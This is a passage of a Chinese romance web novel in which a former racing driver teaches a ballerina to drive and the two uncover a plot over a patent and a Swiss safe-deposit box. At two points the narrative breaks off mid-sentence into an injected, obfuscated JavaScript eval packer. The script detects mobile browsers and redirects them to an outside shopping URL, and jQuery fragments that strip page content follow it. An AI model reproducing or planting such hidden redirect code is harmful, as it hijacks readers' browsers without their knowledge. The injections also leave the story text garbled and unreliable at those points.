“我看了十七遍。”她抬头,眼睛在灯光下清澈见底,“还把你的比喻抄在舞蹈房镜子上:‘悬挂是肌肉,轮胎是皮肤,路面触感是唯一的真相。’” 江砚辞沉默了几秒。 然后他说:“上车。” 7号车驶出车库时,晚上九点半。 这次他们没有去废弃的舞蹈教室,而是开向南郊一条封闭的测试道路——那是江砚辞多年前参与设计的,后来因为城市规划变更而荒废,但路面保养得意外地好。 车子停在直道起点。 江砚辞解开自己的安全带,转向副驾驶:“你来开。” 苏晚晚愣住了。 “我不会——” “我会教你。”他推开车门,“换位置。” 一分钟后,她坐在驾驶座,四点式安全带勒过胸口,手掌下是Alcantara包裹的方向盘,触感温暖而粗糙。 “启动。” 她按下引擎启动按钮。怒吼再次填满车厢,但这次是从她脚下传来的。 “现在,慢慢松开离合,轻给油。”江砚辞的声音异常平静,“感受离合器的咬合点,感受引擎的震动从座椅传到你脊椎。” 车子缓慢起步,微微颤抖着向前蠕动。 “很好。现在换二档……不,看路,别看挡把。用身体记住位置。” 苏晚晚的手指有些僵硬。舞蹈训练让她对身体有绝对控制力,但此刻这具钢铁身躯的反馈是如此陌生而强大。 “前面有个缓弯,提前松油,带一点刹车,方向盘打九十度……多了!回正!” 车子在弯中轻微甩尾,轮胎尖叫。 苏晚晚的心脏撞向肋骨。但下一秒,左肩传来温热的触感——江砚辞的手按在她肩上,稳定而有力。 “呼吸。”他说,“吸气,稳住方向盘。呼气,慢慢给油。” 她照做了。 车子稳定下来,滑出弯道。 “感觉到了吗?”江砚辞的手没有移开,“入弯时你屏息了,核心僵硬,手上的力道就会失控。现在再来一次。” 他们在这条三公里长的环路上绕了十二圈。 第十二圈结束时,苏晚晚已经能在不甩尾的情况下通过那个缓弯。她的额角渗出细汗,但眼睛亮得像淬过火。 “停车。”江砚辞说。 车子停在路灯下。飞蛾绕着光晕打转。 “现在告诉我,”他看着她,“刚才第六圈,第二个弯道,你做了什么调整?” 苏晚晚闭上眼睛回忆。 “我在入弯前……多吸了半口气,然后在弯心缓缓呼出。同时把左脚脚跟抵住地板,这样骨盆更稳定,手上动作就更细腻。” “很好。”江砚辞打开车门,“下课。” “等等。”她叫住他,“你还没告诉我,涡轮为什么被海关扣留。” 江砚辞的动作顿住了。 “你知道为什么,对吧?”苏晚晚的声音很轻,“那些模糊的印章,延迟的清关,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004270|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有人设计的。为了拖住你,或者……为了测试我会不会介入。” 他从口袋里掏出那个牛皮纸信封,扔到她腿上。 “这是今天随涡轮送来的。” 苏晚晚抽出照片,一张张看完,脸上没有任何惊讶。 “徐朗。”她念出这个名字,“我父亲的技术顾问。” “你认识他?” “他参加过我的十八岁生日宴。”苏晚晚将照片放回信封,动作缓慢,“送了我一套精装版的《赛车工程学》,扉页上写:‘给晚晚,愿你的舞台没有边界。’” 她苦笑了一下。 “现在想来,那句话真讽刺。” 江砚辞重新坐回车里,关上车门。路灯的光被车窗过滤成柔和的琥珀色,洒在两人之间。 “你早就怀疑他。” “从我看到你事故报告的那天起。”苏晚晚坦白,“燃油压力异常下降,但传感器记录却显示正常——这需要内部人员做手脚。而当年你的车队里,只有两个华裔技师。一个是你,另一个就是徐朗。” “为什么现在才说?” “因为我需要证据。”她看向他,“也需要确认,你是不是已经放弃追查了。” 江砚辞没有回答,只是发动了车子。 回程的路上,苏晚晚睡着了。 高强度精神集中后的疲惫席卷而来,她歪在副驾驶座上,额头抵着车窗。呼吸声均匀而轻浅,左手无意识地搭在两人之间的中控台上。 江砚辞将空调调高了两度。 等红灯时,他瞥见她垂下的左手——虎口处有一道新鲜的水泡,大概是刚才握方向盘磨出来的。舞者的手通常保养得很好,这水泡在她白皙的皮肤上显得格外刺眼。 他从储物格里翻出医药包,找出无菌针和创可贴。 绿灯亮了,后面的车按喇叭。他收起东西,继续开车。 车子停回车库时,已经接近午夜。 苏晚晚醒了,迷迷糊糊地揉眼睛:“到了?” “嗯。”江砚辞下车,绕到她这边拉开车门,“手给我。” “什么?” 他抓起她的左手,借着车库灯光,用消毒过的针刺破水泡,挤出组织液,然后贴上创可贴。动作快而准,像维修精密仪器。 苏晚晚全程安静地看着他。 “好了。”他松开手,“明天别沾水。” “江砚辞。”她叫住转身要走的他。 他回头。 “那张维修单复印件,”她说,“能给我一份吗?” “为什么?” “因为我父亲的书房,”苏晚晚慢慢说,“也有一份相同的文件。我上周找旧照片时偶然看到的,夹在他那本《船舶动力系统年鉴》里。” 江砚辞的眼神变了。 “你父亲和徐朗……” “我不知道。”她摇头,“但我会查清楚。以我的方式。” 她背上工具包,走向车库门口。在跨出门槛前,她回头,说了句奇怪的话: “你车上的香水味,和我父亲常用的那款一样。古龙水,檀香调,后味有点苦。” 然后她消失在夜色里。 江砚辞站在原地,良久,弯腰从驾驶座脚垫上捡起一样东西——是苏晚晚的呼吸训练器,大概是从她工具包里滑落的。 透明塑料管上,贴着一枚极小的标签,写着日期和数字:“10.23,肺活量+7%”。 他翻到另一侧,发现管壁内侧用极细的笔写着两行小字: “今日呼吸练习时,想起他说离合器的咬合点。 原来有些接触,需要缓慢而精准的磨合。 ——晚” 江砚辞盯着那行字看了很久。 然后他走到工作台前,打开电脑,输入一个尘封三年的密码,登入一个加密云盘。 里面是他当年收集的所有事故相关资料,包括那份维修单的扫描件。 他将苏晚晚带来的复印件与自己的扫描件并排对比。 完全相同。 但在他文件的边缘,有一行手写的数字代码,他从未注意过——因为那看起来像无意义的乱码。 此刻,他把它输入搜索引擎。 第一个结果跳出来:瑞士某私人银行的保险箱编号规则。 江砚辞关掉网页。 窗外,夜雾浓得化不开。 他将呼吸训练器放在工作台上,旁边是那枚从苏晚晚手里接过的M8螺栓。 两者并排,像两个世界的信物。 而此刻,这两个世界正在缓慢地、精准地,开始咬合。 4. 第四章 第四章旧车库与新锁孔 银行代码破译花了江砚辞三天。 这三天里,苏晚晚没有出现。但每天傍晚六点,修车铺卷帘门下方会准时塞进一个牛皮纸信封。 第一天是一张手绘的赛车悬挂系统解剖图,笔触细腻,关键部位用荧光笔标注。空白处写着一行小字:“踝关节的减震行程,类比于足尖鞋落地时的足弓缓冲。附图是我根据你的文章画的,如有错误,请指正。——晚” 第二天是一小瓶香水试样,标签打印着“Swan’s Shadow 07号:机油与檀香”。背面手写:“试图复刻你车里的气味。前调是冷金属,中调是雪松,尾调……我调不出那种苦味。你用的到底是什么古龙水?” 第三天是一张泛黄的节目单。1998年南城少儿芭蕾汇演,节目《胡桃夹子》糖梅仙子独舞栏下,印着“表演者:苏晚晚(7岁)”。旁边用铅笔添了个歪斜的7号赛车简笔画,箭头指向她的名字。 江砚辞把这些都收进了工作台最上层的抽屉。和扳手、游标卡尺放在一起。 第四天清晨,代码破译完成。 那串数字对应苏黎世班霍夫大街一家私人银行的VIP保险箱,开户人是“Jiang Meiling”——他母亲的名字。开户日期是三年前,他出事后第七天。 江砚辞盯着屏幕,右手无意识地抚过左手掌心那道十字疤痕。 母亲从未提过在瑞士有账户。 更未提过,在他人生最黑暗的时刻,她曾独自飞往苏黎世,存下某样东西。 上午十点,修车铺门被推开。 进来的是个陌生男人——四十岁上下,穿着过于笔挺的西装,手里拎着皮革公文包,鞋底干净得与机油斑驳的水泥地格格不入。 “江先生?”男人微笑,露出标准的八颗牙齿,“我是苏氏航运集团法务部的陈铭。冒昧来访,是想谈一下关于您目前使用的这块地皮……” 江砚辞正在调试一台保时捷911的ECU,头也没抬:“租约还有两年。” “是的,是的。”陈铭从公文包取出文件夹,“但根据我们最新核查,这份租约的签署方存在一些……程序瑕疵。原业主三年前已移民,授权委托书上的公证印章有问题。” 螺丝刀在螺栓上停住。 “所以?” “所以集团考虑收回这块地,进行统一开发。”陈铭推来一份文件,“当然,我们会给予合理补偿。这是搬迁方案,您看一下。” 江砚辞没接文件。 他直起身,用破布擦了擦手,目光扫过车库里堆积如山的零件、墙上泛黄的技术图纸、角落里那盆母亲留下的绣球花——虽然因为缺光从未开花,但还活着。 “谁的决定?”他问。 “集团正常资产优化。”陈铭滴水不漏,“苏总亲自过目的。” 苏总。苏晚晚的父亲。 江砚辞看了眼墙上的日历。今天周四,距离涡轮送来的那个周一,正好七天。 距离苏晚晚说“我会查清楚”的那个夜晚,也是七天。 “我需要时间考虑。”他说。 “当然。”陈铭留下文件,“不过最好在下周五前答复。逾期的话,集团可能会启动法律程序。” 男人离开时,皮鞋踩过门口一片积水,溅起的水花在晨光中短暂地闪了一下。 江砚辞关掉修车铺的灯,坐进7号车里。 发动机没有启动。他只是坐在黑暗里,手指搭在方向盘上,感受Alcantara面料细腻的纹理。 母亲去世前一周,曾握着他的手说:“小辞,如果以后有人要拿走你重要的东西,别硬抢。去找他们更想要的东西,交换。” 那时他以为她在说赛车。 现在想来,也许她预见到了什么。 下午两点,苏晚晚来了。 她没走正门,而是从后巷那扇很少开启的消防门进来——门上贴着一张便签:“前门可能有人看着。我从剧院地下室绕过来的,安全。” 她今天穿了深蓝色工装连体裤,金发散乱地扎成丸子头,脸上有点灰尘,像刚钻过通风管道。 “你父亲要收回这块地。”江砚辞开门见山。 苏晚晚正从帆布包里掏东西的动作顿住了。 “什么时候的事?” “今天上午。”他把那份文件推过去。 她快速浏览,眉头越皱越紧:“这不是我父亲签的字。” “什么?” “笔迹模仿得很像,但‘苏’字最后一笔的弧度不对。”她指着签名处,“我父亲写这个字时,因为早年手腕骨折过,收笔会微微上挑。这个没有。” 江砚辞接过文件细看。 确实,那个签名工整得过分,像打印出来的。 “而且,”苏晚晚继续说,“集团资产处置需要三位副总联签,这里只有我父亲一个人的章。这是违规操作。” 她拿出手机,对着文件拍了照,又对着车库四周拍了几张。 “你在做什么?” “取证。”她收起手机,眼神冷静得让他陌生,“如果他们要玩非法的,我们就用合法的方式反击。首先,证明这份文件无效。其次,找出真正想赶你走的人。” “可能是徐朗。” “也可能是陆文渊。”苏晚晚从包里掏出一个U盘,“我这三天查了陆远集团的商业布局。他们正在竞标南城旧工业区改造项目,而你这片地……正好在规划红线边缘。” 她插上U盘,在江砚辞的工作电脑上打开一张卫星地图。 “你看。”她放大,“以你的修车铺为圆心,半径五百米内,有七处产权模糊的老建筑。如果全部打通,可以建成一个大型文化艺术综合体——陆文渊最擅长的项目。” 江砚辞看着地图上那些闪烁的红点。 “你怎么弄到这些的?” “我有我的方法。”苏晚晚没有详述,只是调出另一份文件,“更关键的是,陆文渊上周以个人名义收购了一家小型建筑公司。而那家公司的注册地址,就在你这条巷子口。” 空气沉默了几秒。 “所以,”江砚辞慢慢说,“涡轮被扣是拖延,收回地皮是施压。最终目的可能是逼我离开,或者……” “或者逼你交出什么东西。”苏晚晚接话,“比如,你母亲留在瑞士的那个保险箱里的东西。” 江砚辞猛地抬头。 “你怎么知道——” “猜的。”她迎上他的目光,“你这三天一直在破译代码,每天凌晨三点车库还亮着灯。加上那份突然出现的维修单复印件……瑞士银行的保密体系,很适合存放不想被人发现的证据,不是吗?” 她的推理精准得可怕。 江砚辞从抽屉里拿出破译结果,推给她。 苏晚晚看完,沉默了更长时间。 “开户日期是你出事后的第七天。”她轻声说,“那段时间,媒体正在疯狂围攻你,车队宣布解约,赞助商排队索赔……你母亲却独自去了瑞士。” “她没告诉我。” “因为她知道你会阻止。”苏晚晚的手指抚过纸面,“父母总是这样,想替孩子挡住所有子弹,哪怕自己已经千疮百孔。” 这句话里有某种切肤的疼痛。 江砚辞看向她:“你母亲……” “乳腺癌,发现时已经是晚期。”苏晚晚的声音很平静,“她在病床上还在帮我改《天鹅湖》的编舞,说黑天鹅的转身应该更锋利,像刀片划破丝绸。最后那天,她握着我的手说:‘晚晚,跳给那些想看你摔倒的人看。而且要跳得比他们呼吸的节奏更快。’” 车库里只有旧冰箱压缩机低沉的嗡鸣。 “后来呢?”江砚辞问。 “后来我赢了那年的国际芭蕾大赛。”苏晚晚笑了,笑容里没有温度,“领奖时我在想,如果她能看见就好了。但很快我又想,也许她看见了,只是换了一种方式。” 她从工装裤口袋里掏出一个怀表。 打开,里面不是照片,而是一小片洁白的羽毛。 “这是她手术前,从我的第一件天鹅湖舞裙上拆下来的。”苏晚晚合上怀表,“我带着它跳了每一场重要演出。包括……遇见你的那一场。” 江砚辞的呼吸停了一拍。 “蒙特卡洛?”他问。 “嗯。”她点头,“那场演出前,我把怀表放在化妆镜前。跳完第二幕,回到后台时,发现羽毛掉出来了。我以为是我不小心碰开的,但现在想来……” 她停顿,看向他。 “也许是她在告诉我,某个重要的转折要来了。” 江砚辞想起了那个周末。周六比赛,周日母亲病情恶化,周一凌晨她离世。 而苏晚晚的演出,在周六晚上。 两个平行的时间线,在某个看不见的维度产生了交集。 “我们需要去瑞士。”苏晚晚突然说。 “什么?” “打开那个保险箱。”她的眼神变得锐利,“如果里面有徐朗陷害你的证据,或者我父亲与这件事有关的线索,我们必须拿到。” “银行需要开户人本人或合法继承人——” “你是合法继承人。”苏晚晚打断他,“带上死亡证明、继承文件、护照。我查过了,这家银行允许继承人凭遗嘱认证开启保险箱。” “你怎么对银行规则这么熟?” 苏晚晚沉默了两秒。 “因为我母亲也在瑞士有账户。”她终于说,“她去世后,是我去处理的。所以我知道流程,知道他们会怎么刁难你,也知道怎么应对。” 江砚辞看着她。 此刻的苏晚晚不再是那个在舞台上轻盈旋转的芭蕾舞者,也不是那个蹲在车边认真记笔记的学生。她是冷静的策划者,眼神里有种不顾一切的决绝。 “为什么?”他问,“为什么为我做到这一步?” 苏晚晚没有立刻回答。 她走到那盆绣球花前,手指轻轻触碰枯黄的叶子。 “因为我讨厌不公平。”她背对着他说,“讨厌那些在暗处操纵别人命运的手,讨厌他们毁掉美好的东西,还摆出一副理所当然的样子。” 她转身,眼睛在昏暗光线里亮得像淬火的钢。 “而且江砚辞,你还没教我如何在真正失控时救车。在那之前,我不允许任何人赶走我的老师。” 那天傍晚,他们开始制定计划。 苏晚晚负责搞定两人的签证加急——她用“国际艺术交流”的名义,通过国家大剧院的外事渠道申请商务签,三天可取。 江砚辞负责整理所有法律文件。在翻找母亲遗物时,他在一本旧《圣经》里发现了一张夹着的机票存根:苏黎世往返,三年前的那个日期。 存根背面,母亲清秀的字迹写着一行德文: “Für meinen Sohn, die Wahrheit.”(给我的儿子,真相。) 他的手微微颤抖。 苏晚晚接过存根,仔细看了看。 “她是一个人去的。”她轻声说,“经济舱,靠窗座位。飞行时间十二小时,她那时已经病得很重了吧?” 江砚辞想起母亲最后几个月的模样:消瘦,但总是挺直脊背,头发梳得一丝不苟。她从未抱怨过疼痛,只是常常看着他,眼神里有太多他当时看不懂的情绪。 “我得去趟老房子。”他说,“可能还有别的线索。” “我陪你。” “不用——” “需要。”苏晚晚坚持,“如果徐朗或陆文渊在监视你,一个人行动太危险。两个人反而安全,他们不敢明目张胆对苏氏航运的千金动手。” 她说得有理,但江砚辞听出了另一层意思:她在用自己当盾牌。 “不值得。”他说。 “值不值得,我说了算。”苏晚晚已经背上包,“走吧,趁天还没黑。” 江砚辞的老房子在南城老城区,一栋七十年代的红砖楼三层。母亲去世后他就搬了出来,房子一直空着,每月请人简单打扫。 楼梯间弥漫着潮湿的霉味和老人家的饭菜香。路过二楼时,一个老太太探出头:“是小辞啊?好久没回来了。” “刘奶奶。”江砚辞点头致意。 老太太的目光落在苏晚晚身上,浑浊的眼睛亮了一下:“这是……女朋友?” “朋友。”江砚辞抢答。 老太太却笑了:“挺好,挺好。你妈要是看见,肯定高兴。” 门打开,灰尘在斜阳中飞舞。 房间保持着三年前的样子:简单的家具,墙上贴着江砚辞从小到大的奖状和照片,从卡丁车冠军到F1领奖台。柜子上摆着几个奖杯,最中央的那个已经蒙尘——那是他第一个分站赛冠军奖杯,母亲当时哭了。 苏晚晚安静地环顾四周,目光最后停在墙上的一张合影上。 江砚辞大概十二三岁,穿着脏兮兮的赛车服,搂着一个笑容温婉的女人。背景是某个郊区的卡丁车场,远处能看到生锈的护栏和褪色的广告牌。 “你母亲很美。”她说。 “嗯。”江砚辞开始翻找书桌抽屉。 苏晚晚走到书架前。大部分是工程类书籍,但也有文学和诗集。她抽出一本《里尔克诗选》,翻开,书页间夹着一片干枯的银杏叶。 叶子背面写着一行日期:2005.10.28。 她记得这个日期。新闻里报道过,那天江砚辞在亚洲卡丁车锦标赛上夺冠,是当时最年轻的冠军。 母亲把儿子夺冠那天的落叶,夹在了里尔克的诗里。 诗的那一页,被折了角。句子被铅笔画了线: “我们必须全力以赴,同时又不抱持任何希望。……无论做什么事,都要当它是全世界最重要的一件事,但同时又知道这件事根本无关紧要。” 苏晚晚的鼻腔突然发酸。 她把书放回原处,继续查看。在书架最底层,她发现了一个硬皮笔记本,封面没有字。 翻开,里面是母亲的手账。 不是日记,更像是备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004271|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忘录。记录了江砚辞每一次比赛的时间、地点、成绩,还有他喜欢的食物、过敏的药物、紧张时的小动作。 翻到最后几页,时间停在三年前。 有一页上写满了重复的句子:“要相信小辞。”“真相会来的。”“再坚持一下。” 字迹越来越凌乱,像在对抗某种巨大的痛苦。 苏晚晚合上本子,看向正在翻找文件柜的江砚辞。 他的背影在夕阳里显得异常孤独。 “找到了。”江砚辞突然说。 他从柜子深处拿出一个铁盒,打开,里面是一沓文件。最上面是一份英文的医疗报告——母亲的晚期诊断书,日期比他知道的早了大半年。 她瞒了他整整六个月。 下面是一份股权转让协议的草稿,甲方是江砚辞,乙方是一个陌生的公司名。转让标的:某项“车辆动态控制算法”的专利权。 签字栏空着。 “这是什么?”苏晚晚凑过去看。 “我大学时和同学研发的一个算法。”江砚辞声音沙哑,“可以用在赛车悬挂系统的实时调校上。后来我们申请了专利,但一直没有商业化。” “这个乙方公司……” 江砚辞用手机查了一下。公司注册在开曼群岛,法人代表的名字是拼音:Xu Lang。 徐朗。 “他想买你的专利。”苏晚晚说,“在你出事前。” “而我拒绝了。”江砚辞想起那段时间,徐朗确实多次提起“把技术变现”,但他当时全心备战新赛季,一律回绝。 所以,如果得不到,就毁掉? 铁盒最底层,还有一封信。没有信封,只是折叠的纸。 江砚辞展开。 是母亲的字迹,写给徐朗的。 “徐先生: 您上周的提议,我考虑过了。小辞的专利是他和同学的心血,我不会替他做决定。 至于您提到的‘其他补偿’,我不需要。我只希望我儿子能干干净净地比赛。 请不要再联系我。 江美玲敬上” 日期:江砚辞被正式指控的三天前。 信纸边缘有轻微褶皱,像被反复阅读过。 苏晚晚轻轻按住江砚辞颤抖的手。 “她保护了你到最后。”她低声说。 江砚辞闭上眼睛。 夕阳完全沉下去了,房间陷入昏暗。远处传来楼下电视机的声音,某个综艺节目夸张的笑声。 在这个充满旧时光尘埃的房间里,三年前的阴谋终于露出了完整的轮廓。 徐朗想要专利。 江砚辞不给。 于是他设计了污名事件,想逼江砚辞走投无路,再低价收购。 母亲看穿了他的意图,拒绝合作,并飞往瑞士存下了某些证据。 但她没能等到真相大白的那天。 而现在,那些人连这块最后的修车铺地皮都想夺走。 江砚辞睁开眼睛时,眼神已经变了。 某种沉睡了三年的东西,正在重新苏醒。 “瑞士。”他说,“我们尽快去。” “好。”苏晚晚点头,“但在那之前,我们得先解决地皮的事。” “你有计划?” “有。”她从自己包里拿出一份文件,“我以个人名义,买下了你隔壁那间废弃的洗衣店。产权今天刚过户。” 江砚辞愣住了。 “这样,”苏晚晚微笑,“如果你的修车铺被收回,我们就从墙上打个洞,把我的店和你的店连通。法律上,他们不能强行拆除有产权纠纷的相邻建筑。” 她的笑容里有一丝狡黠,像恶作剧得逞的孩子。 “而且,我打算把那边改成舞蹈工作室。白天你修车,我练舞;晚上我们可以拆掉隔墙,变成……教赛车和教芭蕾的混合空间。” 她描述的画面过于荒诞,江砚辞竟然一时不知该作何反应。 “你哪来的钱买店铺?” “我的香水品牌,去年盈利不错。”苏晚晚轻描淡写,“而且,我把我父亲送我的那套海滨公寓卖了。反正我也不去住,不如换成更有用的东西。” 江砚辞看着她。 这个穿着工装裤、脸上沾着灰的芭蕾舞者,正用最温柔的方式,为他筑起一道防线。 “为什么?”他又问了一次,声音更轻。 这次苏晚晚没有回避。 她走到他面前,仰头看着他。楼道里的灯光从门外照进来,给她的轮廓镀上一层暖金色的光边。 “因为那天在车库,你认出我时,没有叫我‘苏小姐’,也没有叫我‘首席’。”她轻声说,“你只是看着我,像看着一个……迷路的人。” “而我已经迷路很久了,江砚辞。跳舞跳得再好,掌声再响,我都觉得我在某个地方走错了岔路。直到我推开你那扇门,闻到机油的味,听到引擎的声音——” 她停顿,眼睛在昏暗中亮如星辰。 “——我才感觉,我可能找到回去的路了。” 江砚辞的喉咙发紧。 他想说些什么,但所有语言都显得苍白。 最后,他只是伸出手,轻轻擦掉她脸颊上的一点灰尘。 动作很轻,像触碰易碎的瓷器。 苏晚晚没有躲闪。她的睫毛颤了颤,然后闭上了眼睛。 这个瞬间,楼下传来刘奶奶的呼唤:“小辞!你朋友是不是那个跳芭蕾的姑娘啊?我在电视上看过!” 两人同时惊醒般分开。 “是!”苏晚晚朝门外应了一声,然后看向江砚辞,脸有点红,“我们……该走了。” “嗯。” 收拾好东西,锁上门。下楼时,刘奶奶硬塞给他们一袋刚蒸好的桂花糕。 “拿着拿着,年轻人要多吃点。”老太太看着他们,眼睛笑成了缝,“有空常回来啊。” 走出楼道,夜色已经完全降临。 苏晚晚捧着温热的桂花糕,咬了一口,甜糯的香气在口中化开。 “好吃。”她说。 江砚辞也尝了一块。是母亲以前常做的那种味道。 两人并肩走在老城区的巷子里,路灯把影子拉得很长。 “下周出发去瑞士。”苏晚晚说,“我订周二的机票,可以吗?” “可以。” “在那之前,”她看向他,“你能教我那个吗?真正的救车技巧。” “会很危险。” “我不怕。” 江砚辞停下脚步,看着她。 “好。”他说,“明天晚上,我带你去个地方。” “哪里?” “真正的赛道。” 苏晚晚的眼睛亮了。 他们继续往前走,桂花的甜香萦绕在鼻尖。远处,修车铺的方向,能看到一盏孤零零的灯还亮着——是江砚辞出门时忘记关的工作灯。 像茫茫黑夜中,一个固执的坐标。 而在他们身后某栋楼的窗帘后,一架长焦相机安静地收了起来。 5. 第五章 第五章夜赛道的呼吸课 南郊废弃赛道在月光下像一条巨大的黑色缎带。 苏晚晚隔着7号车的挡风玻璃望出去,路面在车灯照射下泛着冷冽的光泽。护栏锈迹斑斑,远处的计时塔楼窗户破碎,像一只只空洞的眼睛。 “这里是……”她轻声问。 “九十年代的老场地。”江砚辞将车停在发车格,引擎熄火,“我十六岁第一次正式比赛就在这儿。” 他推门下车,夜风立刻灌进来,带着野草和铁锈的味道。 苏晚晚跟着下车。她换了全套赛车服——江砚辞的旧装备,对她来说略大,袖口和裤脚都卷了好几层。头发塞进防火头套,再戴上头盔,镜片后的世界变得有些失真。 “今晚学三件事。”江砚辞走到车头前,手指敲了敲引擎盖,“第一,感知车辆的极限。第二,在失控的临界点做决策。第三——” 他顿了顿,看向她。 “——判断什么时候该放弃救车。” 苏晚晚点头,头盔里的呼吸声变得清晰。 “上车。”江砚辞坐进副驾驶,“你先开一圈,熟悉路线。” 车子重新启动,缓缓驶出发车区。 第一圈很慢,江砚辞指引着路线:“下一个左弯,半径八十米,入弯点在那根路灯杆……对,提前刹车,方向盘打九十度……好,出弯给油。” 苏晚晚的手心在手套里微微出汗。赛道的颠簸通过座椅传递到脊椎,每一个弯道的G力都拉扯着她的身体。但奇异地,她左肩的旧伤没有发作——也许是因为高度集中,也许是因为这具钢铁身躯的反馈太过强烈,掩盖了其他感觉。 第二圈稍快。 第三圈时,江砚辞说:“这次你自己判断刹车点。” 车子冲入直道末端,速度表的指针向右摆动。苏晚晚盯着前方的弯道,大脑快速计算:路面看起来干燥,轮胎温度应该上来了,刹车距离大概…… 她踩下刹车踏板。 车子减速,但入弯时依然太快。轮胎发出尖锐的抗议,车尾开始向外滑动。 “松一点刹车!”江砚辞的声音平静,“方向盘往打滑的反方向带!” 苏晚晚照做。车子像一匹被驯服的烈马,在失控边缘挣扎了两秒,最终稳住,滑出弯道。 她大口喘气,头盔里满是自己的呼吸声。 “感觉到了吗?”江砚辞问。 “感觉到……它想甩尾。” “不是它想。”他纠正,“是物理规律。你给的指令超过了轮胎的抓地力极限。现在知道那是什么感觉了吗?” 苏晚晚点头,手还在微微发抖——不是恐惧,是肾上腺素。 “很好。”江砚辞说,“现在换我来演示。” 两人交换位置。 车子再次停在发车格。江砚辞没有立刻启动,而是闭上眼睛,深呼吸三次。 苏晚晚注意到他的呼吸方式变了——不再是日常那种平缓的节奏,而是更深、更慢,像在积蓄某种能量。 引擎咆哮。 车子如离弦之箭射出,苏晚晚被重重按在椅背上。赛道两侧的景物化成模糊的色带,弯道一个接一个扑来,又被精准地切开。 江砚辞的手在方向盘上移动幅度极小,每一个输入都干净利落。刹车、转向、油门,三者衔接得丝滑无比,车子像贴着轨道行驶的子弹。 但最让苏晚晚震撼的是他的呼吸。 通过车内对讲系统,她能清晰听到他的每一次吸气和呼气——与方向盘和踏板的动作完美同步。入弯前吸气,弯心屏息,出弯瞬间呼气。 那是一种身体与机械的共舞。节奏精准,毫无犹豫。 第三圈,他在一个高速弯道突然松开了方向盘。 车子瞬间开始漂移。 “看好了。”江砚辞的声音依旧平稳,“现在是左侧轮胎抓地力突然下降,可能是油渍,可能是砂石。车头开始往护栏方向推——” 他手脚并用,方向盘反打,油门精准地给油收油。车子像在刀尖上跳舞,在完全失控的边缘来回摆动,最终被他硬生生拽回正轨。 整个过程不到三秒。 车子滑行一段后停下,引擎怠速声在夜风中格外清晰。 江砚辞摘下头盔,额发被汗水浸湿。他看向副驾驶座上的苏晚晚:“看懂了吗?” 苏晚晚也摘下头盔,她的脸有些苍白,但眼睛亮得惊人。 “你在用油门控制方向。”她说。 “对。”江砚辞笑了,那笑容里有种久违的锐气,“当方向盘失效时,油门和刹车就是你的第二套转向系统。记住这个感觉——不是对抗失控,是利用失控。” 他重新启动车子,这次开得很慢,回到维修区。 两人下车,靠着车头坐下。江砚辞从后备箱拿出两瓶水,递给她一瓶。 夜空没有云,星河清晰可见。 “你刚才的呼吸,”苏晚晚喝了一口水,“和跳舞时的呼吸法则很像。” “哦?” “在完成一个高难度动作时,比如挥鞭转,我会在起转前深吸气,旋转过程中屏息,落地时呼气。”她比划着,“如果中间呼吸乱了,重心就会丢。” 江砚辞若有所思:“所以那次在斯帕……” “你屏息时间太长。”苏晚晚轻声说,“生理极限大概是四秒,超过之后大脑会缺氧,反应会变慢。而赛车,零点一秒就能决定生死。” 沉默降临。 远处传来野狗的吠叫,在空旷的赛道上回荡。 “我父亲去世前,”江砚辞突然开口,“跟我说过一句话。他说,小辞,赛车这行,输赢都在呼吸之间。赢的人不是不犯错,是犯错之后还能把呼吸找回来。” 他拧紧水瓶盖子,塑料发出咔哒一声。 “我那五秒,把呼吸丢了。” 苏晚晚侧头看他。月光下,他的侧脸线条硬朗,睫毛在眼下投出浅浅的阴影。 “现在呢?”她问。 “现在……”江砚辞仰头看向星空,“你呼吸训练器上的数据,肺活量提升了7%。而我今晚演示的救车,三年前的我可能都做不到。” 他转头,与她对视。 “有些东西丢了,会以另一种方式回来。” 苏晚晚的心跳漏了一拍。 她移开视线,从口袋里掏出怀表,打开。羽毛在月光下泛着柔和的银白。 “我母亲说过类似的话。”她轻声说,“她说,晚晚,舞者的职业生涯很短,但舞蹈本身很长。它会从你的脚底离开,钻进你的骨头,你的血液,最后变成你呼吸的方式。所以永远不要怕结束,因为真正的开始在那之后。” 江砚辞看着她手中的羽毛。 “你带着它跳每一场演出?” “嗯。”苏晚晚合上怀表,“就像你带着母亲的爱比赛。” 这句话说得很轻,但重重落在两人之间的空气里。 夜风吹过,带来远处工厂隐约的机器轰鸣。 “明天我要去见个人。”江砚辞突然说。 “谁?” “陈曜。”他站起身,拍掉裤子上的尘土,“我的前工程师,刚从达喀尔回来。他说有东西要当面交给我。” 苏晚晚也站起来:“需要我一起吗?” “可能会很晚。” “我不介意。” 江砚辞看着她。她的眼睛在夜色里清澈坚定,没有半分退却。 “好。”他说,“上午十点,老地方见。” 第二天上午九点五十分,苏晚晚提前到了修车铺。 卷帘门半开着,里面传来说话声——不是江砚辞,而是一个陌生的男声,带着明显的北方口音。 “所以你小子真找了个跳芭蕾的?可以啊砚辞,闷声干大事。” 苏晚晚停在门口,犹豫该不该进去。 “别瞎说。”江砚辞的声音,“她是……合作伙伴。” 